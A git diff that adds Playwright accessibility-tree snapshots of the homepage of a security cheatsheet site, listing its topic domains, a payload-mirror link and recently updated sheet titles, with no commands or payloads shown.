+          - heading "Web" [level=3] [ref=f8e357]
+          - paragraph [ref=f8e358]: XSS, injection, and web application testing.
+          - generic [ref=f8e359]: 9 sheets
+        - link "PIVOT 07 Tunneling & Pivoting Moving through segmented networks and double pivots. 6 sheets" [ref=f8e362] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tunneling-pivoting
+          - generic [ref=f8e363]:
+            - generic [ref=f8e364]: PIVOT
+            - generic [ref=f8e365]: "07"
+          - heading "Tunneling & Pivoting" [level=3] [ref=f8e366]
+          - paragraph [ref=f8e367]: Moving through segmented networks and double pivots.
+          - generic [ref=f8e368]: 6 sheets
+        - link "CRYPTO 08 Cryptography Hashing, encryption, GPG, and key handling. 3 sheets" [ref=f8e371] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/cryptography
+          - generic [ref=f8e372]:
+            - generic [ref=f8e373]: CRYPTO
+            - generic [ref=f8e374]: "08"
+          - heading "Cryptography" [level=3] [ref=f8e375]
+          - paragraph [ref=f8e376]: Hashing, encryption, GPG, and key handling.
+          - generic [ref=f8e377]: 3 sheets
+        - link "DFIR 09 DFIR Forensics, memory, and registry analysis. 4 sheets" [ref=f8e380] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/dfir
+          - generic [ref=f8e381]:
+            - generic [ref=f8e382]: DFIR
+            - generic [ref=f8e383]: "09"
+          - heading "DFIR" [level=3] [ref=f8e384]
+          - paragraph [ref=f8e385]: Forensics, memory, and registry analysis.
+          - generic [ref=f8e386]: 4 sheets
+        - link "TOOL 10 Tools General-purpose offensive tooling and multiplexers. 18 sheets" [ref=f8e389] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tools
+          - generic [ref=f8e390]:
+            - generic [ref=f8e391]: TOOL
+            - generic [ref=f8e392]: "10"
+          - heading "Tools" [level=3] [ref=f8e393]
+          - paragraph [ref=f8e394]: General-purpose offensive tooling and multiplexers.
+          - generic [ref=f8e395]: 18 sheets
+        - link "NIX 11 Linux & IT Shell, filesystem, and everyday IT fundamentals. 9 sheets" [ref=f8e398] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/linux-it
+          - generic [ref=f8e399]:
+            - generic [ref=f8e400]: NIX
+            - generic [ref=f8e401]: "11"
+          - heading "Linux & IT" [level=3] [ref=f8e402]
+          - paragraph [ref=f8e403]: Shell, filesystem, and everyday IT fundamentals.
+          - generic [ref=f8e404]: 9 sheets
+        - link "GIT 12 Git & Workflow Version control and operator workflow. 5 sheets" [ref=f8e407] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/git-workflow
+          - generic [ref=f8e408]:
+            - generic [ref=f8e409]: GIT
+            - generic [ref=f8e410]: "12"
+          - heading "Git & Workflow" [level=3] [ref=f8e411]
+          - paragraph [ref=f8e412]: Version control and operator workflow.
+          - generic [ref=f8e413]: 5 sheets
+    - link [ref=f8e416] [cursor=pointer]:
+      - /url: /daemon-sec-cheatsheet/payloads
+      - generic [ref=f8e417]:
+        - generic [ref=f8e418]:
+          - paragraph [ref=f8e419]: "02 ^: Full mirror Β· MIT"
+          - heading "PayloadsAllTheThings" [level=2] [ref=f8e420]
+          - paragraph [ref=f8e421]:
+            - text: The complete 64-topic, 135-page payload and bypass reference by
+            - strong [ref=f8e422]: swisskyrepo
+            - text: β€” mirrored on-site, fully searchable, every page linked back to source.
+        - generic [ref=f8e423]: Browse payloads
+    - generic [ref=f8e427]:
+      - generic [ref=f8e428]:
+        - generic [ref=f8e429]:
+          - paragraph [ref=f8e430]:
+            - generic [ref=f8e431]: "03"
+            - generic [ref=f8e432]: "^:"
+            - generic [ref=f8e433]: Freshly modernized
+          - heading "Recently updated" [level=2] [ref=f8e434]
+        - link "All tags" [ref=f8e435] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+      - generic [ref=f8e438]:
+        - link "01 ENUM 2.4 - Cheatsheet - Gitleaks 2026-08-10" [ref=f8e439] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-4-cheatsheet-gitleaks
+          - generic [ref=f8e440]:
+            - generic [ref=f8e441]: "01"
+            - generic [ref=f8e442]: ENUM
+            - generic [ref=f8e446]: 2.4 - Cheatsheet - Gitleaks
+            - generic [ref=f8e447]: 2026-08-10
+        - link "02 ENUM 2.5 - Cheatsheet - TruffleHog 2026-08-10" [ref=f8e451] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-5-cheatsheet-trufflehog
+          - generic [ref=f8e452]:
+            - generic [ref=f8e453]: "02"
+            - generic [ref=f8e454]: ENUM
+            - generic [ref=f8e458]: 2.5 - Cheatsheet - TruffleHog
+            - generic [ref=f8e459]: 2026-08-10
+        - link "03 AD Active-Directory_cheat_sheet 2026-08-10" [ref=f8e463] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/active-directory-cheat-sheet
+          - generic [ref=f8e464]:
+            - generic [ref=f8e465]: "03"
+            - generic [ref=f8e466]: AD
+            - generic [ref=f8e470]: Active-Directory_cheat_sheet
+            - generic [ref=f8e471]: 2026-08-10
+        - link "04 ENUM Anonymous Null Testing 2026-08-10" [ref=f8e475] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/anonymous-null-testing
+          - generic [ref=f8e476]:
+            - generic [ref=f8e477]: "04"
+            - generic [ref=f8e478]: ENUM
+            - generic [ref=f8e482]: Anonymous Null Testing
+            - generic [ref=f8e483]: 2026-08-10
+        - 'link "05 AD Attack #1 β€” Password Spraying 2026-08-10" [ref=f8e487] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-1-password-spraying
+          - generic [ref=f8e488]:
+            - generic [ref=f8e489]: "05"
+            - generic [ref=f8e490]: AD
+            - generic [ref=f8e494]: "Attack #1 β€” Password Spraying"
+            - generic [ref=f8e495]: 2026-08-10
+        - 'link "06 AD Attack #10 β€” Credential Hunting in Shares GPP Passwords 2026-08-10" [ref=f8e499] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-10-credential-hunting-in-shares-gpp-passwords
+          - generic [ref=f8e500]:
+            - generic [ref=f8e501]: "06"
+            - generic [ref=f8e502]: AD
+            - generic [ref=f8e506]: "Attack #10 β€” Credential Hunting in Shares GPP Passwords"
+            - generic [ref=f8e507]: 2026-08-10
+        - 'link "07 AD Attack #11 β€” Golden Ticket Attack 2026-08-10" [ref=f8e511] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-11-golden-ticket-attack
+          - generic [ref=f8e512]:
+            - generic [ref=f8e513]: "07"
+            - generic [ref=f8e514]: AD
+            - generic [ref=f8e518]: "Attack #11 β€” Golden Ticket Attack"
+            - generic [ref=f8e519]: 2026-08-10
+        - 'link "08 AD Attack #12 β€” Silver Ticket Attack 2026-08-10" [ref=f8e523] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-12-silver-ticket-attack
+          - generic [ref=f8e524]:
+            - generic [ref=f8e525]: "08"
+            - generic [ref=f8e526]: AD
+            - generic [ref=f8e530]: "Attack #12 β€” Silver Ticket Attack"
+            - generic [ref=f8e531]: 2026-08-10
+  - contentinfo [ref=f8e535]:
+    - generic [ref=f8e536]:
+      - generic [ref=f8e537]:
+        - link "DÆMON // SEC" [ref=f8e538] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f8e539]: //
+          - text: SEC
+        - paragraph [ref=f8e540]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f8e541]:
+        - link "daemon-404.github.io β†—" [ref=f8e542] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f8e543] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f8e544]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f8e545] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f8e546] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f8e547]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f8e548]: RosΓ© Pine Β· Astro Β· Pagefind
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-21-09-387Z.yml b/.playwright-mcp/page-2026-08-10T08-21-09-387Z.yml
@@ -0,0 +1,418 @@
+- generic [active] [ref=f9e1]:
+  - banner [ref=f9e2]:
+    - generic [ref=f9e3]:
+      - link "DÆMON//SEC home" [ref=f9e4] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f9e5]: //
+        - text: SEC
+        - generic [ref=f9e6]: _
+      - navigation "Primary" [ref=f9e7]:
+        - link "01 Vault" [ref=f9e8] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f9e9]: "01"
+          - generic [ref=f9e10]: Vault
+        - link "02 Payloads" [ref=f9e11] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f9e12]: "02"
+          - generic [ref=f9e13]: Payloads
+        - link "03 Tags" [ref=f9e14] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f9e15]: "03"
+          - generic [ref=f9e16]: Tags
+        - link "04 Credits" [ref=f9e17] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f9e18]: "04"
+          - generic [ref=f9e19]: Credits
+      - generic [ref=f9e20]:
+        - button "Search cheatsheets" [ref=f9e21] [cursor=pointer]:
+          - generic [ref=f9e24]: Search
+          - generic [ref=f9e25]: /
+        - button "Toggle theme" [ref=f9e26] [cursor=pointer]
+        - link "DÆMON main site" [ref=f9e31] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f9e34] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f9e37]:
+    - generic [ref=f9e39]:
+      - generic [ref=f9e40]:
+        - heading "D Γ† M O N" [level=1] [ref=f9e42]:
+          - generic [ref=f9e43]: D
+          - generic [ref=f9e44]: Γ†
+          - generic [ref=f9e45]: M
+          - generic [ref=f9e46]: O
+          - generic [ref=f9e47]: "N"
+        - paragraph [ref=f9e49]:
+          - generic [ref=f9e50]: The cheatsheet vault
+      - generic [ref=f9e52]:
+        - generic [ref=f9e53]:
+          - generic [ref=f9e54]: Vault / 2026
+          - heading "Zero fluff. Copy-ready." [level=2] [ref=f9e55]
+          - paragraph [ref=f9e56]: 214 hand-picked cheatsheets across 12 domains β€” Active Directory, enumeration, exploitation, priv-esc, web, DFIR β€” stripped of vault-specific syntax and refreshed for current tool flags. Plus the full PayloadsAllTheThings mirror, searchable offline.
+          - generic [ref=f9e57]:
+            - button "Search the vault" [ref=f9e58] [cursor=pointer]
+            - link "Payloads" [ref=f9e62] [cursor=pointer]:
+              - /url: /daemon-sec-cheatsheet/payloads
+        - generic [ref=f9e66]:
+          - generic [ref=f9e67]:
+            - generic [ref=f9e68]:
+              - generic [ref=f9e69]: daemon@sec
+              - generic [ref=f9e70]: ~
+              - generic [ref=f9e71]: "%"
+              - generic [ref=f9e72]: whoami --vault
+            - generic [ref=f9e74]:
+              - term [ref=f9e75]: scope
+              - definition [ref=f9e76]: Offensive security Β· red team Β· DFIR
+              - term [ref=f9e77]: format
+              - definition [ref=f9e78]: Copy-ready commands, current tool flags
+              - term [ref=f9e79]: search
+              - definition [ref=f9e80]: Pagefind Β· offline Β· zero tracking
+              - term [ref=f9e81]: license
+              - definition [ref=f9e82]: MIT Β· payloads mirrored from swisskyrepo
+          - generic [ref=f9e83]:
+            - generic [ref=f9e84]:
+              - term [ref=f9e85]: Curated cheatsheets
+              - definition [ref=f9e86]:
+                - text: "-1"
+                - generic [ref=f9e87]: Curatedcheatsheets
+            - generic [ref=f9e88]:
+              - term [ref=f9e89]: Operator domains
+              - definition [ref=f9e90]:
+                - text: "00"
+                - generic [ref=f9e91]: Operatordomains
+            - generic [ref=f9e92]:
+              - term [ref=f9e93]: Mirrored payload pages
+              - definition [ref=f9e94]:
+                - text: "-1"
+                - generic [ref=f9e95]: Mirroredpayload pages
+    - region "Domains" [ref=f9e96]:
+      - generic [ref=f9e97]: "^: Index"
+      - generic [ref=f9e101]:
+        - generic [ref=f9e102]:
+          - generic [ref=f9e103]:
+            - generic [ref=f9e104]: "01"
+            - generic [ref=f9e105]: AD
+            - generic [ref=f9e109]: Active Directory
+            - generic [ref=f9e110]: 130 sheets
+          - generic [ref=f9e111]:
+            - generic [ref=f9e112]: "02"
+            - generic [ref=f9e113]: ENUM
+            - generic [ref=f9e117]: Enumeration
+            - generic [ref=f9e118]: 18 sheets
+          - generic [ref=f9e119]:
+            - generic [ref=f9e120]: "03"
+            - generic [ref=f9e121]: PWN
+            - generic [ref=f9e125]: Exploitation
+            - generic [ref=f9e126]: 7 sheets
+          - generic [ref=f9e127]:
+            - generic [ref=f9e128]: "04"
+            - generic [ref=f9e129]: PRIV
+            - generic [ref=f9e133]: Privilege Escalation
+            - generic [ref=f9e134]: 2 sheets
+          - generic [ref=f9e135]:
+            - generic [ref=f9e136]: "05"
+            - generic [ref=f9e137]: CRED
+            - generic [ref=f9e141]: Password Attacks
+            - generic [ref=f9e142]: 3 sheets
+          - generic [ref=f9e143]:
+            - generic [ref=f9e144]: "06"
+            - generic [ref=f9e145]: WEB
+            - generic [ref=f9e149]: Web
+            - generic [ref=f9e150]: 9 sheets
+          - generic [ref=f9e151]:
+            - generic [ref=f9e152]: "07"
+            - generic [ref=f9e153]: PIVOT
+            - generic [ref=f9e157]: Tunneling & Pivoting
+            - generic [ref=f9e158]: 6 sheets
+          - generic [ref=f9e159]:
+            - generic [ref=f9e160]: "08"
+            - generic [ref=f9e161]: CRYPTO
+            - generic [ref=f9e165]: Cryptography
+            - generic [ref=f9e166]: 3 sheets
+          - generic [ref=f9e167]:
+            - generic [ref=f9e168]: "09"
+            - generic [ref=f9e169]: DFIR
+            - generic [ref=f9e173]: DFIR
+            - generic [ref=f9e174]: 4 sheets
+          - generic [ref=f9e175]:
+            - generic [ref=f9e176]: "10"
+            - generic [ref=f9e177]: TOOL
+            - generic [ref=f9e181]: Tools
+            - generic [ref=f9e182]: 18 sheets
+          - generic [ref=f9e183]:
+            - generic [ref=f9e184]: "11"
+            - generic [ref=f9e185]: NIX
+            - generic [ref=f9e189]: Linux & IT
+            - generic [ref=f9e190]: 9 sheets
+          - generic [ref=f9e191]:
+            - generic [ref=f9e192]: "12"
+            - generic [ref=f9e193]: GIT
+            - generic [ref=f9e197]: Git & Workflow
+            - generic [ref=f9e198]: 5 sheets
+        - generic [ref=f9e199]:
+          - generic [ref=f9e200]:
+            - generic [ref=f9e201]: "01"
+            - generic [ref=f9e202]: AD
+            - generic [ref=f9e206]: Active Directory
+            - generic [ref=f9e207]: 130 sheets
+          - generic [ref=f9e208]:
+            - generic [ref=f9e209]: "02"
+            - generic [ref=f9e210]: ENUM
+            - generic [ref=f9e214]: Enumeration
+            - generic [ref=f9e215]: 18 sheets
+          - generic [ref=f9e216]:
+            - generic [ref=f9e217]: "03"
+            - generic [ref=f9e218]: PWN
+            - generic [ref=f9e222]: Exploitation
+            - generic [ref=f9e223]: 7 sheets
+          - generic [ref=f9e224]:
+            - generic [ref=f9e225]: "04"
+            - generic [ref=f9e226]: PRIV
+            - generic [ref=f9e230]: Privilege Escalation
+            - generic [ref=f9e231]: 2 sheets
+          - generic [ref=f9e232]:
+            - generic [ref=f9e233]: "05"
+            - generic [ref=f9e234]: CRED
+            - generic [ref=f9e238]: Password Attacks
+            - generic [ref=f9e239]: 3 sheets
+          - generic [ref=f9e240]:
+            - generic [ref=f9e241]: "06"
+            - generic [ref=f9e242]: WEB
+            - generic [ref=f9e246]: Web
+            - generic [ref=f9e247]: 9 sheets
+          - generic [ref=f9e248]:
+            - generic [ref=f9e249]: "07"
+            - generic [ref=f9e250]: PIVOT
+            - generic [ref=f9e254]: Tunneling & Pivoting
+            - generic [ref=f9e255]: 6 sheets
+          - generic [ref=f9e256]:
+            - generic [ref=f9e257]: "08"
+            - generic [ref=f9e258]: CRYPTO
+            - generic [ref=f9e262]: Cryptography
+            - generic [ref=f9e263]: 3 sheets
+          - generic [ref=f9e264]:
+            - generic [ref=f9e265]: "09"
+            - generic [ref=f9e266]: DFIR
+            - generic [ref=f9e270]: DFIR
+            - generic [ref=f9e271]: 4 sheets
+          - generic [ref=f9e272]:
+            - generic [ref=f9e273]: "10"
+            - generic [ref=f9e274]: TOOL
+            - generic [ref=f9e278]: Tools
+            - generic [ref=f9e279]: 18 sheets
+          - generic [ref=f9e280]:
+            - generic [ref=f9e281]: "11"
+            - generic [ref=f9e282]: NIX
+            - generic [ref=f9e286]: Linux & IT
+            - generic [ref=f9e287]: 9 sheets
+          - generic [ref=f9e288]:
+            - generic [ref=f9e289]: "12"
+            - generic [ref=f9e290]: GIT
+            - generic [ref=f9e294]: Git & Workflow
+            - generic [ref=f9e295]: 5 sheets
+      - generic [ref=f9e296]: 12 domains
+    - generic [ref=f9e298]:
+      - generic [ref=f9e300]:
+        - paragraph [ref=f9e301]:
+          - generic [ref=f9e302]: "01"
+          - generic [ref=f9e303]: "^:"
+          - generic [ref=f9e304]: 12 domains
+        - heading "Pick your vector" [level=2] [ref=f9e306]
+      - generic [ref=f9e307]:
+        - link "AD 01 Active Directory Kerberos, ADCS, delegation, and domain takeover paths. 130 sheets" [ref=f9e308] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/active-directory
+          - generic [ref=f9e309]:
+            - generic [ref=f9e310]: AD
+            - generic [ref=f9e311]: "01"
+          - heading "Active Directory" [level=3] [ref=f9e312]
+          - paragraph [ref=f9e313]: Kerberos, ADCS, delegation, and domain takeover paths.
+          - generic [ref=f9e314]: 130 sheets
+        - link "ENUM 02 Enumeration Port, service, web, and host discovery β€” mapping the attack surface. 18 sheets" [ref=f9e317] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/enumeration
+          - generic [ref=f9e318]:
+            - generic [ref=f9e319]: ENUM
+            - generic [ref=f9e320]: "02"
+          - heading "Enumeration" [level=3] [ref=f9e321]
+          - paragraph [ref=f9e322]: Port, service, web, and host discovery β€” mapping the attack surface.
+          - generic [ref=f9e323]: 18 sheets
+        - 'link "PWN 03 Exploitation Gaining a foothold: injection, upload, and shell delivery. 7 sheets" [ref=f9e326] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/exploitation
+          - generic [ref=f9e327]:
+            - generic [ref=f9e328]: PWN
+            - generic [ref=f9e329]: "03"
+          - heading "Exploitation" [level=3] [ref=f9e330]
+          - paragraph [ref=f9e331]: "Gaining a foothold: injection, upload, and shell delivery."
+          - generic [ref=f9e332]: 7 sheets
+        - link "PRIV 04 Privilege Escalation From user to root/SYSTEM on Linux and Windows. 2 sheets" [ref=f9e335] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/privilege-escalation
+          - generic [ref=f9e336]:
+            - generic [ref=f9e337]: PRIV
+            - generic [ref=f9e338]: "04"
+          - heading "Privilege Escalation" [level=3] [ref=f9e339]
+          - paragraph [ref=f9e340]: From user to root/SYSTEM on Linux and Windows.
+          - generic [ref=f9e341]: 2 sheets
+        - link "CRED 05 Password Attacks Cracking, spraying, and credential recovery. 3 sheets" [ref=f9e344] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/password-attacks
+          - generic [ref=f9e345]:
+            - generic [ref=f9e346]: CRED
+            - generic [ref=f9e347]: "05"
+          - heading "Password Attacks" [level=3] [ref=f9e348]
+          - paragraph [ref=f9e349]: Cracking, spraying, and credential recovery.
+          - generic [ref=f9e350]: 3 sheets
+        - link "WEB 06 Web XSS, injection, and web application testing. 9 sheets" [ref=f9e353] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/web
+          - generic [ref=f9e354]:
+            - generic [ref=f9e355]: WEB
+            - generic [ref=f9e356]: "06"
+          - heading "Web" [level=3] [ref=f9e357]
+          - paragraph [ref=f9e358]: XSS, injection, and web application testing.
+          - generic [ref=f9e359]: 9 sheets
+        - link "PIVOT 07 Tunneling & Pivoting Moving through segmented networks and double pivots. 6 sheets" [ref=f9e362] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tunneling-pivoting
+          - generic [ref=f9e363]:
+            - generic [ref=f9e364]: PIVOT
+            - generic [ref=f9e365]: "07"
+          - heading "Tunneling & Pivoting" [level=3] [ref=f9e366]
+          - paragraph [ref=f9e367]: Moving through segmented networks and double pivots.
+          - generic [ref=f9e368]: 6 sheets
+        - link "CRYPTO 08 Cryptography Hashing, encryption, GPG, and key handling. 3 sheets" [ref=f9e371] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/cryptography
+          - generic [ref=f9e372]:
+            - generic [ref=f9e373]: CRYPTO
+            - generic [ref=f9e374]: "08"
+          - heading "Cryptography" [level=3] [ref=f9e375]
+          - paragraph [ref=f9e376]: Hashing, encryption, GPG, and key handling.
+          - generic [ref=f9e377]: 3 sheets
+        - link "DFIR 09 DFIR Forensics, memory, and registry analysis. 4 sheets" [ref=f9e380] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/dfir
+          - generic [ref=f9e381]:
+            - generic [ref=f9e382]: DFIR
+            - generic [ref=f9e383]: "09"
+          - heading "DFIR" [level=3] [ref=f9e384]
+          - paragraph [ref=f9e385]: Forensics, memory, and registry analysis.
+          - generic [ref=f9e386]: 4 sheets
+        - link "TOOL 10 Tools General-purpose offensive tooling and multiplexers. 18 sheets" [ref=f9e389] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tools
+          - generic [ref=f9e390]:
+            - generic [ref=f9e391]: TOOL
+            - generic [ref=f9e392]: "10"
+          - heading "Tools" [level=3] [ref=f9e393]
+          - paragraph [ref=f9e394]: General-purpose offensive tooling and multiplexers.
+          - generic [ref=f9e395]: 18 sheets
+        - link "NIX 11 Linux & IT Shell, filesystem, and everyday IT fundamentals. 9 sheets" [ref=f9e398] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/linux-it
+          - generic [ref=f9e399]:
+            - generic [ref=f9e400]: NIX
+            - generic [ref=f9e401]: "11"
+          - heading "Linux & IT" [level=3] [ref=f9e402]
+          - paragraph [ref=f9e403]: Shell, filesystem, and everyday IT fundamentals.
+          - generic [ref=f9e404]: 9 sheets
+        - link "GIT 12 Git & Workflow Version control and operator workflow. 5 sheets" [ref=f9e407] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/git-workflow
+          - generic [ref=f9e408]:
+            - generic [ref=f9e409]: GIT
+            - generic [ref=f9e410]: "12"
+          - heading "Git & Workflow" [level=3] [ref=f9e411]
+          - paragraph [ref=f9e412]: Version control and operator workflow.
+          - generic [ref=f9e413]: 5 sheets
+    - link [ref=f9e416] [cursor=pointer]:
+      - /url: /daemon-sec-cheatsheet/payloads
+      - generic [ref=f9e417]:
+        - generic [ref=f9e418]:
+          - paragraph [ref=f9e419]: "02 ^: Full mirror Β· MIT"
+          - heading "PayloadsAllTheThings" [level=2] [ref=f9e420]
+          - paragraph [ref=f9e421]:
+            - text: The complete 64-topic, 135-page payload and bypass reference by
+            - strong [ref=f9e422]: swisskyrepo
+            - text: β€” mirrored on-site, fully searchable, every page linked back to source.
+        - generic [ref=f9e423]: Browse payloads
+    - generic [ref=f9e427]:
+      - generic [ref=f9e428]:
+        - generic [ref=f9e429]:
+          - paragraph [ref=f9e430]:
+            - generic [ref=f9e431]: "03"
+            - generic [ref=f9e432]: "^:"
+            - generic [ref=f9e433]: Freshly modernized
+          - heading "Recently updated" [level=2] [ref=f9e434]
+        - link "All tags" [ref=f9e435] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+      - generic [ref=f9e438]:
+        - link "01 ENUM 2.4 - Cheatsheet - Gitleaks 2026-08-10" [ref=f9e439] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-4-cheatsheet-gitleaks
+          - generic [ref=f9e440]:
+            - generic [ref=f9e441]: "01"
+            - generic [ref=f9e442]: ENUM
+            - generic [ref=f9e446]: 2.4 - Cheatsheet - Gitleaks
+            - generic [ref=f9e447]: 2026-08-10
+        - link "02 ENUM 2.5 - Cheatsheet - TruffleHog 2026-08-10" [ref=f9e451] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-5-cheatsheet-trufflehog
+          - generic [ref=f9e452]:
+            - generic [ref=f9e453]: "02"
+            - generic [ref=f9e454]: ENUM
+            - generic [ref=f9e458]: 2.5 - Cheatsheet - TruffleHog
+            - generic [ref=f9e459]: 2026-08-10
+        - link "03 AD Active-Directory_cheat_sheet 2026-08-10" [ref=f9e463] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/active-directory-cheat-sheet
+          - generic [ref=f9e464]:
+            - generic [ref=f9e465]: "03"
+            - generic [ref=f9e466]: AD
+            - generic [ref=f9e470]: Active-Directory_cheat_sheet
+            - generic [ref=f9e471]: 2026-08-10
+        - link "04 ENUM Anonymous Null Testing 2026-08-10" [ref=f9e475] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/anonymous-null-testing
+          - generic [ref=f9e476]:
+            - generic [ref=f9e477]: "04"
+            - generic [ref=f9e478]: ENUM
+            - generic [ref=f9e482]: Anonymous Null Testing
+            - generic [ref=f9e483]: 2026-08-10
+        - 'link "05 AD Attack #1 β€” Password Spraying 2026-08-10" [ref=f9e487] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-1-password-spraying
+          - generic [ref=f9e488]:
+            - generic [ref=f9e489]: "05"
+            - generic [ref=f9e490]: AD
+            - generic [ref=f9e494]: "Attack #1 β€” Password Spraying"
+            - generic [ref=f9e495]: 2026-08-10
+        - 'link "06 AD Attack #10 β€” Credential Hunting in Shares GPP Passwords 2026-08-10" [ref=f9e499] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-10-credential-hunting-in-shares-gpp-passwords
+          - generic [ref=f9e500]:
+            - generic [ref=f9e501]: "06"
+            - generic [ref=f9e502]: AD
+            - generic [ref=f9e506]: "Attack #10 β€” Credential Hunting in Shares GPP Passwords"
+            - generic [ref=f9e507]: 2026-08-10
+        - 'link "07 AD Attack #11 β€” Golden Ticket Attack 2026-08-10" [ref=f9e511] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-11-golden-ticket-attack
+          - generic [ref=f9e512]:
+            - generic [ref=f9e513]: "07"
+            - generic [ref=f9e514]: AD
+            - generic [ref=f9e518]: "Attack #11 β€” Golden Ticket Attack"
+            - generic [ref=f9e519]: 2026-08-10
+        - 'link "08 AD Attack #12 β€” Silver Ticket Attack 2026-08-10" [ref=f9e523] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-12-silver-ticket-attack
+          - generic [ref=f9e524]:
+            - generic [ref=f9e525]: "08"
+            - generic [ref=f9e526]: AD
+            - generic [ref=f9e530]: "Attack #12 β€” Silver Ticket Attack"
+            - generic [ref=f9e531]: 2026-08-10
+  - contentinfo [ref=f9e535]:
+    - generic [ref=f9e536]:
+      - generic [ref=f9e537]:
+        - link "DÆMON // SEC" [ref=f9e538] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f9e539]: //
+          - text: SEC
+        - paragraph [ref=f9e540]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f9e541]:
+        - link "daemon-404.github.io β†—" [ref=f9e542] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f9e543] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f9e544]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f9e545] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f9e546] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f9e547]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f9e548]: RosΓ© Pine Β· Astro Β· Pagefind
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-23-21-385Z.yml b/.playwright-mcp/page-2026-08-10T08-23-21-385Z.yml
@@ -0,0 +1,418 @@
+- generic [active] [ref=f10e1]:
+  - banner [ref=f10e2]:
+    - generic [ref=f10e3]:
+      - link "DÆMON//SEC home" [ref=f10e4] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f10e5]: //
+        - text: SEC
+        - generic [ref=f10e6]: _
+      - navigation "Primary" [ref=f10e7]:
+        - link "01 Vault" [ref=f10e8] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f10e9]: "01"
+          - generic [ref=f10e10]: Vault
+        - link "02 Payloads" [ref=f10e11] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f10e12]: "02"
+          - generic [ref=f10e13]: Payloads
+        - link "03 Tags" [ref=f10e14] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f10e15]: "03"
